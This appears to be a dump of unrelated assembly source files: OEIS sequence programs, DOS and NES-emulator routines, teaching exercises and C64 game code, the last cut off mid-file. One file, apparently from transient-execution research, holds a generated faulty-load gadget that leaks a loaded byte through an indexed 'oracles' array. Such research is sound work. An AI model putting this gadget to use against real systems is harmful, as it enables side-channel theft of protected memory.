Assembly
|
programs/oeis/100/A100050.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/100/A100050.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/100/A100050.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A100050: A Chebyshev transform of n.
; 0,1,2,0,-4,-5,0,7,8,0,-10,-11,0,13,14,0,-16,-17,0,19,20,0,-22,-23,0,25,26,0,-28,-29,0,31,32,0,-34,-35,0,37,38,0,-40,-41,0,43,44,0,-46,-47,0,49,50,0,-52,-53,0,55,56,0,-58,-59,0,61,62,0,-64,-65,0,67,68,0,-70,-71,0,73,74,0,-76,-77,0,79,80,0,-82,-83,0,85,86,0,-88,-89,0,91,92,0,-94,-95,0,97,98,0
mov $1,$0
sub $1,2
lpb $1
sub $1,1
add $2,$0
sub $0,$2
lpe
| 36.272727
| 293
| 0.553885
|
1ee378199c6d6e71738224d94cc6a4b060e9bb06
| 426
|
asm
|
Assembly
|
programs/oeis/323/A323211.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/323/A323211.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/323/A323211.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A323211: Level 1 of Pascal's pyramid. T(n, k) triangle read by rows for n >= 0 and 0 <= k <= n.
; 1,1,1,1,2,1,1,2,2,1,1,2,3,2,1,1,2,4,4,2,1,1,2,5,7,5,2,1,1,2,6,11,11,6,2,1,1,2,7,16,21,16,7,2,1,1,2,8,22,36,36,22,8,2,1,1,2,9,29,57,71,57,29,9,2,1,1,2,10,37,85,127,127,85,37,10,2,1
mov $1,2
max $1,$0
seq $1,323231 ; A(n, k) = [x^k] (1/(1-x) + x/(1-x)^n), square array read by descending antidiagonals for n, k >= 0.
mov $0,$1
| 53.25
| 181
| 0.577465
|
52889e70de272a74a51efc2cbd2af9e5c5194fc1
| 855
|
asm
|
Assembly
|
GAS/Gas/GASC/UtilsLib/Helium.asm
|
Gabidal/GAS_Pack
|
02f13531849bc5c03721a4319a9e315a60ba7707
|
[
"MIT"
] | 1
|
2021-09-21T13:07:37.000Z
|
2021-09-21T13:07:37.000Z
|
GAS/Gas/GASC/UtilsLib/Helium.asm
|
Gabidal/GAS_Pack
|
02f13531849bc5c03721a4319a9e315a60ba7707
|
[
"MIT"
] | null | null | null |
GAS/Gas/GASC/UtilsLib/Helium.asm
|
Gabidal/GAS_Pack
|
02f13531849bc5c03721a4319a9e315a60ba7707
|
[
"MIT"
] | null | null | null |
section .data
filename db 'main.g'
handle dw 0
Array buffer, 1000
%macro openFile 0
[section .txt]
mov ax,3d02h
lea dx, [filename]
int 21h
jc openError
mov [handle],ax
[section .code]
%endmacro
%macro readFile 0
[section .txt]
mov ah, 3fh
mov bx, [handle]
mov cx, 1000
lea dx, [buffer]
int 21h
jc readError
[section .code]
%endmacro
%macro writeFile 1
[section .txt]
mov ah, 40h
mov bx, [handle]
mov cx, 1000
lea dx, [%1]
int 21h
jc writeError
[section .code]
%endmacro
%macro pointerFile 1
[section .txt]
mov ax,4200h
mov bx, [handle]
mov cx, %1
mov dx, %1
int 21h
jc openError
[section .code]
%endmacro
%macro closeFile 0
[section .txt]
mov ah,3eh
mov bx, [handle]
int 21h
jc closeError
[section .code]
%endmacro
| 15.267857
| 23
| 0.603509
|
03a6b5a84f8b76e00fc5cb440769c20cad08507f
| 385
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/stdlib/z80/asm_abort.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/stdlib/z80/asm_abort.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/stdlib/z80/asm_abort.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; ===============================================================
; Jan 2015
; ===============================================================
;
; _Noreturn void abort(void)
;
; Signals not supported so just jump to _Exit.
;
; ===============================================================
SECTION code_stdlib
PUBLIC asm_abort
EXTERN __Exit
asm_abort:
ld hl,-1
jp __Exit
| 17.5
| 65
| 0.342857
|
c9f6c1624f0fe67f3b028c5cb074249214d6d470
| 461
|
asm
|
Assembly
|
oeis/229/A229997.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/229/A229997.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/229/A229997.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A229997: Numerator of d(k)/d(1) + d(k-1)/d(2) + ... + d(k)/d(1), where d(1),d(2),...,d(k) are the unitary divisors of n.
; Submitted by Jon Maiga
; 1,5,10,17,26,25,50,65,82,13,122,85,170,125,52,257,290,205,362,221,500,305,530,325,626,425,730,425,842,130,962,1025,1220,725,260,697,1370,905,1700,169,1682,1250,1850,1037,2132,1325,2210,1285,2402,313,2900
mov $2,$0
seq $0,34676 ; Sum of squares of unitary divisors of n.
mov $1,$0
add $2,1
gcd $1,$2
div $0,$1
| 41.909091
| 205
| 0.659436
|
193fde344b1e9771c0df5f5137358a988375fa2f
| 6,043
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_633_181.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_633_181.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_633_181.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1eb47, %rsi
lea addresses_WC_ht+0x12f47, %rdi
nop
nop
nop
nop
and %r13, %r13
mov $88, %rcx
rep movsb
nop
and $10866, %rax
lea addresses_A_ht+0x1af89, %r13
nop
inc %rbp
mov $0x6162636465666768, %rax
movq %rax, %xmm7
movups %xmm7, (%r13)
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x9707, %rdi
nop
nop
sub $29814, %r9
movb (%rdi), %cl
and $35069, %r9
lea addresses_UC_ht+0x15f47, %rbp
cmp $6368, %rax
mov $0x6162636465666768, %r9
movq %r9, %xmm7
movups %xmm7, (%rbp)
nop
nop
nop
nop
and $59552, %r9
lea addresses_WT_ht+0x867f, %rax
clflush (%rax)
nop
inc %r9
movb $0x61, (%rax)
nop
nop
nop
nop
xor %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0xf730, %rdi
cmp $63971, %r13
movw $0x5152, (%rdi)
dec %rbx
// Store
lea addresses_A+0x18e47, %r15
cmp $42165, %rbp
movb $0x51, (%r15)
nop
nop
dec %rbp
// Store
lea addresses_A+0x128c7, %r13
and %rcx, %rcx
movl $0x51525354, (%r13)
add %r15, %r15
// REPMOV
lea addresses_RW+0xc747, %rsi
lea addresses_WC+0x7747, %rdi
nop
nop
nop
nop
add $48916, %rbp
mov $24, %rcx
rep movsw
nop
nop
nop
nop
dec %rdi
// Store
lea addresses_normal+0x15c21, %r12
nop
nop
and $21909, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm7
vmovntdq %ymm7, (%r12)
nop
dec %rbx
// Store
lea addresses_UC+0xe5c7, %rbp
nop
nop
nop
nop
nop
sub %r15, %r15
movb $0x51, (%rbp)
nop
and %r12, %r12
// Load
mov $0x6d601e0000000047, %rbp
nop
nop
nop
nop
nop
inc %r15
movups (%rbp), %xmm2
vpextrq $0, %xmm2, %rbx
nop
nop
nop
inc %rcx
// Load
lea addresses_WT+0x1eb47, %rbx
nop
nop
nop
nop
add $27128, %rsi
mov (%rbx), %r15
xor %rcx, %rcx
// Faulty Load
lea addresses_normal+0x1f347, %rcx
nop
nop
nop
dec %rsi
vmovups (%rcx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rbx
lea oracles, %r15
and $0xff, %rbx
shlq $12, %rbx
mov (%r15,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_RW', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'34': 633}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 29.478049
| 1,898
| 0.650008
|
d34b8e177cc250b8ece70641155b9c16a3500090
| 1,337
|
asm
|
Assembly
|
src/mappers/mapper7.asm
|
DigiDwrf/neon64v2-easybuild
|
94fa46fbc8ddb2af593cb42162df58f65a03ebc4
|
[
"0BSD"
] | 36
|
2020-07-08T11:27:17.000Z
|
2022-03-15T08:38:52.000Z
|
src/mappers/mapper7.asm
|
DigiDwrf/neon64v2-easybuild
|
94fa46fbc8ddb2af593cb42162df58f65a03ebc4
|
[
"0BSD"
] | 19
|
2020-07-12T23:14:03.000Z
|
2021-12-14T07:57:40.000Z
|
src/mappers/mapper7.asm
|
DigiDwrf/neon64v2-easybuild
|
94fa46fbc8ddb2af593cb42162df58f65a03ebc4
|
[
"0BSD"
] | 6
|
2021-07-17T09:57:46.000Z
|
2022-03-13T07:50:25.000Z
|
// Mapper 7: AxROM
scope Mapper7: {
Init:
addi sp, 8
sw ra, -8(sp)
// 32K
jal TLB.AllocateVaddr
lui a0, 0x1'0000 >> 16 // align 64K to leave a 32k guard page unmapped
ls_gp(sw a0, mapper7_prgrom_vaddr)
ls_gp(sb a1, mapper7_prgrom_tlb_index)
// 0x8000-0x1'0000
addi t0, a0, -0x8000
la_gp(t1, Write)
lli t2, 0
lli t3, 0x80
-
sw t0, cpu_read_map + 0x80 * 4 (t2)
sw t1, cpu_write_map + 0x80 * 4 (t2)
addi t3, -1
bnez t3,-
addi t2, 4
// Hard wired CHR mapping 0x0000-0x2000 (8K)
ls_gp(lw t0, chrrom_start)
lli t1, 8
lli t2, 0
-
sw t0, ppu_map (t2)
addi t1, -1
bnez t1,-
addi t2, 4
// Initially map PRG ROM bank 0, Nametable 0
j Write_alt
lli cpu_t0, 0
Write:
// cpu_t0: data
// cpu_t1: address (unused)
addi sp, 8
sw ra, -8(sp)
Write_alt:
sll t0, cpu_t0, 15 // 32k PRG ROM bank
ls_gp(lw a1, prgrom_start_phys)
ls_gp(lw a0, mapper7_prgrom_vaddr)
ls_gp(lwu t1, prgrom_mask)
ls_gp(lbu t2, mapper7_prgrom_tlb_index)
and t0, t1
add a1, t0
jal TLB.Map32K
mtc0 t2, Index
// Mirroring
andi a0, cpu_t0, 0b1'0000 // Nametable select
la_gp(t0, ppu_ram)
sll a0, 10-4 // 1K
add a0, t0
// Tail call
lw ra, -8(sp)
j SingleScreenMirroring
addi sp, -8
}
begin_bss()
align(4)
mapper7_prgrom_vaddr:; dw 0
mapper7_prgrom_tlb_index:; db 0
align(4)
end_bss()
| 16.506173
| 73
| 0.65445
|
2d0b3fda8ce006ba3fac25c80747406900fbec60
| 238
|
asm
|
Assembly
|
A8 - Elementos operativos de um Datapath single-cycle/getMem.asm
|
ZePaiva/ACI
|
5f20234e2901ff78f731c04977dabd9ce1ab629c
|
[
"BSD-3-Clause"
] | null | null | null |
A8 - Elementos operativos de um Datapath single-cycle/getMem.asm
|
ZePaiva/ACI
|
5f20234e2901ff78f731c04977dabd9ce1ab629c
|
[
"BSD-3-Clause"
] | null | null | null |
A8 - Elementos operativos de um Datapath single-cycle/getMem.asm
|
ZePaiva/ACI
|
5f20234e2901ff78f731c04977dabd9ce1ab629c
|
[
"BSD-3-Clause"
] | 1
|
2019-10-22T09:48:53.000Z
|
2019-10-22T09:48:53.000Z
|
.data
.text
.globl main
main:
addi $2, $0, 0x1a
addi $3, $0, -7
add $4, $2, $3
sub $5, $2, $3
and $6, $2, $3
or $7, $2, $3
nor $8, $2, $3
xor $9, $2, $3
slt $10, $2, $3
slti $11, $7, -7
slti $12, $9, -25
nop
jr $ra
| 14
| 18
| 0.436975
|
418406c104c115fb32f614ec65e8024c1298669c
| 1,241
|
asm
|
Assembly
|
04/fill/Fill.asm
|
wanyicheng1024/nand2tetris
|
9f12469a88bafd7a3b5adfb533055a5202899c23
|
[
"MIT"
] | null | null | null |
04/fill/Fill.asm
|
wanyicheng1024/nand2tetris
|
9f12469a88bafd7a3b5adfb533055a5202899c23
|
[
"MIT"
] | null | null | null |
04/fill/Fill.asm
|
wanyicheng1024/nand2tetris
|
9f12469a88bafd7a3b5adfb533055a5202899c23
|
[
"MIT"
] | null | null | null |
// Runs an infinite loop that listens to the keyboard input.
// When a key is pressed (any key), the program blackens the screen,
// i.e. writes "black" in every pixel;
// the screen should remain fully black as long as the key is pressed.
// When no key is pressed, the program clears the screen, i.e. writes
// "white" in every pixel;
// the screen should remain fully clear as long as no key is pressed.
// Put your code here.
// use RAM[1] to store the current drawing screen position, it's default value is 16384, max value is 24576 - 1
@16384
D = A
@1
M = D
(LOOP)
// get the keyboard's input value
@24576
D = M
// == 1 draw the screen
@DRAWSCREEN
D;JGT
// else goto clear screen
@CLEARSCREEN
0;JMP
(DRAWSCREEN)
// get the current draw postion
@1
D = M
// if current - max >= 0 goto loop, dont draw
@24576
D = D - A
@LOOP
D;JGE
// draw it
@1
// get current position value
D = M
// get 16 bits to 1, will make this word to be -1
A = D
M = -1
// current position add 1
@1
M = D + 1
// back to loop
@LOOP
0;JMP
(CLEARSCREEN)
@1
D = M
// if current - min < 0 goto loop, dont clear
@16384
D = D - A
@LOOP
D;JLT
@1
D = M
// set 16 bits 0 clear it
A = D
M = 0
// current position subtraction 1
@1
M = D - 1
// back to loop
@LOOP
0;JMP
| 17.728571
| 112
| 0.667204
|
6221a22ad2d47506791069ce350c4cbaf0ade7e6
| 702
|
asm
|
Assembly
|
13-procedimientos-macros.asm
|
mario21ic/nasm-demos
|
aedac550268e0f08a22126b5d1d87e9f0c97220d
|
[
"MIT"
] | null | null | null |
13-procedimientos-macros.asm
|
mario21ic/nasm-demos
|
aedac550268e0f08a22126b5d1d87e9f0c97220d
|
[
"MIT"
] | null | null | null |
13-procedimientos-macros.asm
|
mario21ic/nasm-demos
|
aedac550268e0f08a22126b5d1d87e9f0c97220d
|
[
"MIT"
] | null | null | null |
%macro imprimir 2
; 2 = nro de params
mov eax, 4
mov ebx, 1
mov ecx, %1 ; primer param
mov edx, %2 ; segundo param
int 0x80
%endmacro
section .data
msg1 db "mensaje1", 0xA, 0xD
len1 equ $-msg1
msg2 db "mensaje2", 0xA, 0xD
len2 equ $-msg2
section .bss
rpta resb 1
section .text
imprime:
mov eax, 4
mov ebx, 1
int 0x80
ret ; para no repetir
global _start
_start:
; usando procedimientos
mov ecx, msg2
mov edx, len2
call imprime
mov ecx, msg1
mov edx, len1
call imprime
; usando macro
imprimir msg1, len1
imprimir msg2, len2
; Finalizar
mov eax, 1
mov ebx, 0 ; Ok
;mov ebx, 1 ; Error
int 0x80
| 13.764706
| 32
| 0.606838
|
1931da29223b521a35cdaa28ca1ac63c8ea25cdd
| 3,213
|
asm
|
Assembly
|
BootloaderCorePkg/Stage1A/Ia32/Vtf0/Ia16/Real16ToFlat32.asm
|
CunningLearner/slimbootloader
|
3cdd48750da5fb20315e7674f87875b348d8af0c
|
[
"BSD-2-Clause-NetBSD",
"PSF-2.0",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent"
] | 1
|
2019-04-17T19:10:56.000Z
|
2019-04-17T19:10:56.000Z
|
BootloaderCorePkg/Stage1A/Ia32/Vtf0/Ia16/Real16ToFlat32.asm
|
CunningLearner/slimbootloader
|
3cdd48750da5fb20315e7674f87875b348d8af0c
|
[
"BSD-2-Clause-NetBSD",
"PSF-2.0",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent"
] | null | null | null |
BootloaderCorePkg/Stage1A/Ia32/Vtf0/Ia16/Real16ToFlat32.asm
|
CunningLearner/slimbootloader
|
3cdd48750da5fb20315e7674f87875b348d8af0c
|
[
"BSD-2-Clause-NetBSD",
"PSF-2.0",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent"
] | null | null | null |
;------------------------------------------------------------------------------
; @file
; Transition from 16 bit real mode into 32 bit flat protected mode
;
; Copyright (c) 2008 - 2010, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
;------------------------------------------------------------------------------
%define SEC_DEFAULT_CR0 0x00000023
%define SEC_DEFAULT_CR0_MASK 0x40000000
%define SEC_DEFAULT_CR4 0x640
BITS 16
ALIGN 2
gdtr:
dw GDT_END - GDT_BASE - 1 ; GDT limit
dd ADDR_OF(GDT_BASE)
ALIGN 16
;
; Macros for GDT entries
;
%define PRESENT_FLAG(p) (p << 7)
%define DPL(dpl) (dpl << 5)
%define SYSTEM_FLAG(s) (s << 4)
%define DESC_TYPE(t) (t)
; Type: data, expand-up, writable, accessed
%define DATA32_TYPE 3
; Type: execute, readable, expand-up, accessed
%define CODE32_TYPE 0xb
; Type: execute, readable, expand-up, accessed
%define CODE64_TYPE 0xb
%define GRANULARITY_FLAG(g) (g << 7)
%define DEFAULT_SIZE32(d) (d << 6)
%define CODE64_FLAG(l) (l << 5)
%define UPPER_LIMIT(l) (l)
;
; The Global Descriptor Table (GDT)
;
GDT_BASE:
; null descriptor
NULL_SEL equ $-GDT_BASE
DW 0 ; limit 15:0
DW 0 ; base 15:0
DB 0 ; base 23:16
DB 0 ; sys flag, dpl, type
DB 0 ; limit 19:16, flags
DB 0 ; base 31:24
; linear data segment descriptor
LINEAR_SEL equ $-GDT_BASE
DW 0xffff ; limit 15:0
DW 0 ; base 15:0
DB 0 ; base 23:16
DB PRESENT_FLAG(1)|DPL(0)|SYSTEM_FLAG(1)|DESC_TYPE(DATA32_TYPE)
DB GRANULARITY_FLAG(1)|DEFAULT_SIZE32(1)|CODE64_FLAG(0)|UPPER_LIMIT(0xf)
DB 0 ; base 31:24
; linear code segment descriptor
LINEAR_CODE_SEL equ $-GDT_BASE
DW 0xffff ; limit 15:0
DW 0 ; base 15:0
DB 0 ; base 23:16
DB PRESENT_FLAG(1)|DPL(0)|SYSTEM_FLAG(1)|DESC_TYPE(CODE32_TYPE)
DB GRANULARITY_FLAG(1)|DEFAULT_SIZE32(1)|CODE64_FLAG(0)|UPPER_LIMIT(0xf)
DB 0 ; base 31:24
%ifdef ARCH_X64
; linear code (64-bit) segment descriptor
LINEAR_CODE64_SEL equ $-GDT_BASE
DW 0xffff ; limit 15:0
DW 0 ; base 15:0
DB 0 ; base 23:16
DB PRESENT_FLAG(1)|DPL(0)|SYSTEM_FLAG(1)|DESC_TYPE(CODE64_TYPE)
DB GRANULARITY_FLAG(1)|DEFAULT_SIZE32(0)|CODE64_FLAG(1)|UPPER_LIMIT(0xf)
DB 0 ; base 31:24
%endif
GDT_END:
;
; Modified: EAX, EBX
;
TransitionFromReal16To32BitFlat:
mov bx, 0xf000
mov ds, bx
mov bx, ADDR16_OF(gdtr)
o32 lgdt [cs:bx]
mov eax, cr0
and eax, SEC_DEFAULT_CR0_MASK
or eax, SEC_DEFAULT_CR0
mov cr0, eax
jmp LINEAR_CODE_SEL:dword ADDR_OF(jumpTo32BitAndLandHere)
BITS 32
jumpTo32BitAndLandHere:
mov eax, SEC_DEFAULT_CR4
mov cr4, eax
mov ax, LINEAR_SEL
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
OneTimeCallRet TransitionFromReal16To32BitFlat
| 27.698276
| 81
| 0.564893
|
72d3ea76c8ee5ef28ed400c1773beaca1e9df385
| 315
|
asm
|
Assembly
|
programs/oeis/259/A259225.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/259/A259225.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/259/A259225.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A259225: Smallest oblong number greater than or equal to n.
; 0,2,2,6,6,6,6,12,12,12,12,12,12,20,20,20,20,20,20,20,20,30,30,30,30,30,30,30,30,30,30,42,42,42,42,42,42,42,42,42,42,42,42,56,56,56,56,56,56,56,56,56,56,56,56,56,56,72,72,72,72,72,72,72,72,72,72
lpb $0
add $2,2
trn $0,$2
add $1,$2
lpe
mov $0,$1
| 31.5
| 195
| 0.64127
|
5e27a120abbb0d8928213d6cd3c4f851f77b6720
| 4,663
|
asm
|
Assembly
|
ShockRaid.asm
|
RichardTND/ShockRaid
|
18c6b7caed3880a35d11c5fcbce417bb16c0fe13
|
[
"OLDAP-2.4"
] | null | null | null |
ShockRaid.asm
|
RichardTND/ShockRaid
|
18c6b7caed3880a35d11c5fcbce417bb16c0fe13
|
[
"OLDAP-2.4"
] | null | null | null |
ShockRaid.asm
|
RichardTND/ShockRaid
|
18c6b7caed3880a35d11c5fcbce417bb16c0fe13
|
[
"OLDAP-2.4"
] | null | null | null |
;#############################
;# Shock Raid #
;# #
;# by Richard Bayliss #
;# #
;# (C)2021 The New Dimension #
;# For Reset Magazine #
;#############################
DiskVersion = 1
;Insert variables source file
!source "vars.asm"
;Generate main program
!to "shockraid.prg",cbm
;Insert the title screen text charset
*=$0800
!bin "bin\textcharset.bin"
;Insert music data 1 (Title, In game music and Game Over jingle)
*=$1000
!bin "bin\music.prg",,2
;Insert main game sprites
*=$2000
!bin "bin\gamesprites.bin"
;Insert main game graphics character set
*=$3800
!bin "bin\gamecharset.bin"
;There's a bit of space for DISK access for hi score
;saving and loading.
*=$4000
!source "diskaccess.asm"
;Insert end screen sequence code
*=$4100
!source "endscreen.asm"
CharsBackupMemory
!align $ff,0
*=$4600
BlankFormation
!Fill $ff,0
!byte 0
!Fill $ff,0
!byte 0
;Insert the game's map (Built from Charpad)
*=$4800
mapstart
MAPDATA
!bin "bin\gamemap.bin"
;Mark the start of the map (mapend = starting position)
mapend
*=*+10
*=$6200
;Insert the onetime assembly source code - This is where to jump to after
;packing/crunching this production.
!source "onetime.asm"
;Insert title screen code assembly source code
!source "titlescreen.asm"
;Insert the main game code
!source "gamecode.asm"
;Insert the hi-score check routine code
!source "hiscore.asm"
;There should be enough room here (hopefully for alien formation data)
;but the code data should be aligned to the nearest $x00 position
!align $ff,0
;The following files are the X, and Y tables for each alien movement
;pattern.
FormationData01
;!bin "bin\Formation01.prg",,2
!bin "bin\wave1.prg",,2
FormationData02
;!bin "bin\Formation02.prg",,2
!bin "bin\wave2.prg",,2
FormationData03
;!bin "bin\Formation03.prg",,2
!bin "bin\wave3.prg",,2
FormationData04
;!bin "bin\Formation04.prg",,2
!bin "bin\formation05.prg",,2
FormationData05
;!bin "bin\Formation05.prg",,2
!bin "bin\wave5.prg",,2
FormationData06
